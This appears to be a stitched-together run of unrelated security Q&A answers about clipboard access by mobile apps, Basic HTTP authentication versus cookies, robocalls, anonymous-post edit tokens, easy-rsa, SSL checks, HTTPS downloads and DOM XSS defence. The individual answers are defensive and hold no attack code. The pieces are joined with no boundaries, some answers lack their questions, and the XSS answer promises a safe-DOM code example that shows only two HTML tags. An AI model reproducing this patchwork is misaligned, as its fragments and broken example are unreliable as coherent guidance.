You could also randomly generate a value and save it as a cookie or file for the end user to keep.


Android
Yes, it's possible in Android. Any app/service can read your clipboard data. In fact, there is a lot of code online which creates a service running with a listener in the background, which will inform the app whenever the content on the clipboard changes, along with the content.
There are a few Android apps that I know which use this feature. One is Truecaller: whenever a contact number is copied, an on-screen overlay tells me the phone number's owner's name. Another one is Google Translate: whenever I copy a statement or two, I see a floating icon on my screen, which, upon clicking, gives me an option to translate the copied text to another language.
Here is an example from Stack Overflow for your reference.
iOS
As confirmed in the comments by user 11684, even Apple allows apps to read your clipboard (though only while they are in the foreground). Here is the link to the documentation that returns the data of the clipboard.
Update in iOS 14:
Beta version of iOS 14, reportedly, has a feature which alerts the users whenever any app reads the data from the clipboard.


Could Someone Use a Stolen Cookie Session ID to Bypass Htaccess Login?

I'm not sure what you refer to with the phrase "Htaccess Login" but my guess is that you refer to enabling "Basic" HTTP Authentication within .htaccess, i.e. something like this:

AuthType Basic
AuthName "My Protected Area"
AuthUserFile /path/to/.htpasswd
Require valid-user

This kind of authentication does not use any cookies. Instead it sends the username and password within each request inside a request header:

Authorization: Basic <base64-encoded-username:password>

Since no cookies are involved in checking this kind of authentication no knowledge of cookies can be used to bypass this authentication. But someone successfully sniffing the traffic might just extract the Authorization header instead of the Cookie header and use this value to not bypass but to successfully pass the required authentication.


Phone calls that listen to you saying hello and then say "goodbye"

We get these too in Australia. The consensus in the Internet seems to be that these are automated calls from cold call telemarketers. These automated callers calls random numbers and wait for the call to be received. When you pick up the phone, what's supposed to happen is that your call will then be routed to the next available telemarketer agent within a few seconds. In this case however, what happens is that at the time you picked up, there is no agents available, so the auto-caller waits a few more seconds for the agent to pick up, and finally gives up and plays the "Goodbye" message and disconnects.


I suppose you could add something like the following to appear below an anonymous positing (only in the session of the editor, of course)

  If you later want to edit this post, please use the following information:

  postid = 123456, authentication = iufdhgoieroertz3147493532v

  or use this link directly:
  http://example.com/anon-edit.php?postid=123456&auth=iufdhgoieroertz3147493532v

  You may want to save this information and/or link locally in a safe place for later use. Please do that now because it will not be possible for you (or others) to reproduce this later.
  When you try to edit a post via the "Edit" button, you will be asked to enter the authentication code above. Note that each postid requires a differnet authentication code.

Of coures, the 123456 here is the internal id of the post and iufdhgoieroertz3147493532v is a unique random string stored with the post, but never output (except immediately after successful edit as written above).

An attacker cannot guess the authentication without access to the local storage the user chose, or access to the parameter value during transmission, or access to the posting database.

Some of this could be made more transparently with cookies and/or local storage, but people sufficiently interested in anonymity against government seizures may not be happy with cookies and local storage either.


No, easy-rsa does not require you to keep revoked certificates around.  The only reason I can come up with to keep them is to have some sort of poor mans audit log.

Just make sure to revoke the certificate before you remove it, because easy-rsa (at least version 2, which I looked at) seems to require the .crt file to be present to revoke a certificate.

Also, if you're still in the process of setting up your pki, consider switching to easy-rsa 3.  That is a complete rewrite, which adds a number of interesting features such as ECDSA support.


What is the best way to verify the SSL configuration of my web server?

SSL Labs rocks for verifying all the nuances of a proper SSL setup - just put your domain name in and hit submit:

https://www.ssllabs.com/


When downloading from an https web page - will the download also use ssl?

When you "download from a page", this means that you are actually following a link. Somewhere in the HTML source for the page is the link which states where the file actually is.

The download will use HTTPS if the link says so; it will use HTTP if the link says so. That the page itself was obtained with SSL is quite orthogonal: a page obtained over SSL may contain a non-SSL link, and vice-versa. If the link is a "basic link" then letting your mouse cursor "hover" over the link allows your browser to display somewhere in a status bar (traditionally at the bottom of the window) what URL it will actually use when you click; that way, you can see whether the download will use SSL or not.

(If the link in the HTML page is relative -- it does not specify a server name or protocol, and points to a file on the same server -- then the same protocol as the one used to obtain the HTML page will be used. However, a "full link" can also be specified, and will include an explicit protocol, which will be https:// or http://, for, respectively, SSL and not-SSL.)

Edit: an example of "hovering":

When I bring my mouse over the "Windows Installer (64-bit)" link, the browser displays at the bottom the link which will be followed for this download. That URL begins with https://, so that download will use SSL.

(Browser here is Chromium on Linux; details of such link displaying depend on OS and browser.)

Some software packages may benefit from additional protection. For instance, installer packages for Windows can be signed; the signature gives you some strong guarantee against modification of data in transit, regardless of how you obtained the file. Another traditional method is with hash values: an SSL powered Web site lists the hashes of the files (with some hash function like MD5); you can recompute the hash on what you downloaded and see if it matches the values on the Web site (see this page for an example, in the case of the ISO images for installation CD/DVD for the Ubuntu operating system).

These methods allow for decoupling the transfer method from the verification. That way, you can get the files from efficient mediums (e.g. some peer-to-peer protocol) and yet verify that you obtained the genuine thing.


Creating the DOM as string and using append or html indeed leads to DOM-based XSS. What you should do instead is to built the DOM elements using the proper functions and only inserting user-supplied input as text. Example:

<input type=text id=input_field value="">
<button id=add_btn></button>


The class attribute could be used for redressing the UI to make untrusted elements and text appear to be authoritative text coming from the website itself.

See the Google Browser Security Handbook for more information.

Instead of writing your own, use an established HTML sanitiser such as Google Caja. These are hard to write because there are so many ways of getting round XSS filters.

Also make sure you implement a Content Security Policy - then anything sneaking round Google Caja will refuse to execute in the browser.